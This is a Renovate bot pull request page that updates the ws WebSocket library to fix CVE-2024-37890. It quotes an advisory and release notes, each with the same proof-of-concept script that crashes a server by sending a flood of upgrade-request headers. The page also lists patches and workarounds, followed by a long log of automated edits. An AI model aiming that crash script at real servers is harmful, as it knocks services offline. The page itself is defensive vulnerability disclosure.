Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Apr 13, 2025

This PR contains the following updates:

Package Change Age Confidence
ws 8.16.0 -> 8.17.1 age confidence
ws ~8.16.0 -> ~8.17.1 age confidence

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (websockets/ws@e55e510) and backported to [email protected] (websockets/ws@22c2876), [email protected] (websockets/ws@eeb76d3), and [email protected] (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References


Release Notes

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in #​2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    --max-http-header-size=size and/or the maxHeaderSize options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

  • The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] Apr 24, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from 802d776 to 80f0050 Compare April 24, 2025 13:38
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] Apr 24, 2025
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] May 7, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from 89265c4 to d7ec302 Compare May 7, 2025 20:01
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] May 7, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from d7ec302 to 422b759 Compare May 13, 2025 11:55
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] May 13, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 422b759 to 1036481 Compare May 13, 2025 17:46
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] May 13, 2025
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] May 19, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from 38cf7d9 to 13e1287 Compare May 19, 2025 23:06
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] May 19, 2025
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] May 28, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from 9c44df1 to dce0d06 Compare May 28, 2025 17:03
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] May 28, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from dce0d06 to d2154d8 Compare June 4, 2025 13:15
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] Jun 4, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from d2154d8 to 1cc6cd7 Compare June 4, 2025 19:34
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] Jun 4, 2025
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] Jun 18, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from 70a939d to d0e29c2 Compare June 18, 2025 19:55
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] Jun 18, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from d0e29c2 to 94a38fe Compare June 22, 2025 15:32
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] Jun 22, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 91b68d1 to 51b766f Compare August 10, 2025 17:32
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] Aug 13, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 51b766f to 4b1da2c Compare August 13, 2025 14:28
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] Aug 13, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 4b1da2c to 528d0be Compare August 13, 2025 19:33
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] Aug 19, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 528d0be to 4f61f85 Compare August 19, 2025 15:07
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] Aug 19, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 4f61f85 to 28cfebe Compare August 19, 2025 21:28
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 28cfebe to 779f71b Compare August 31, 2025 12:43
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] Aug 31, 2025
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] Aug 31, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 779f71b to 2b0da90 Compare August 31, 2025 18:05
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] Sep 25, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 2b0da90 to 305a2be Compare September 25, 2025 20:47
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] Sep 26, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 305a2be to 4b48a06 Compare September 26, 2025 00:33
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 4b48a06 to 085894b Compare October 9, 2025 11:32
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] Oct 9, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 085894b to 8903ee9 Compare October 9, 2025 12:54
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] Oct 9, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 8903ee9 to afd0c72 Compare October 22, 2025 00:37
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] Oct 22, 2025
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] Oct 22, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from afd0c72 to 3049715 Compare October 22, 2025 12:56
@renovate renovate bot changed the title fix(deps): update dependency ws to v8.17.1 [security] fix(deps): update dependency ws [security] Nov 10, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 3049715 to d1e21a3 Compare November 10, 2025 19:13
@renovate renovate bot changed the title fix(deps): update dependency ws [security] fix(deps): update dependency ws to v8.17.1 [security] Nov 11, 2025
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from d1e21a3 to 20f21a9 Compare November 11, 2025 03:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant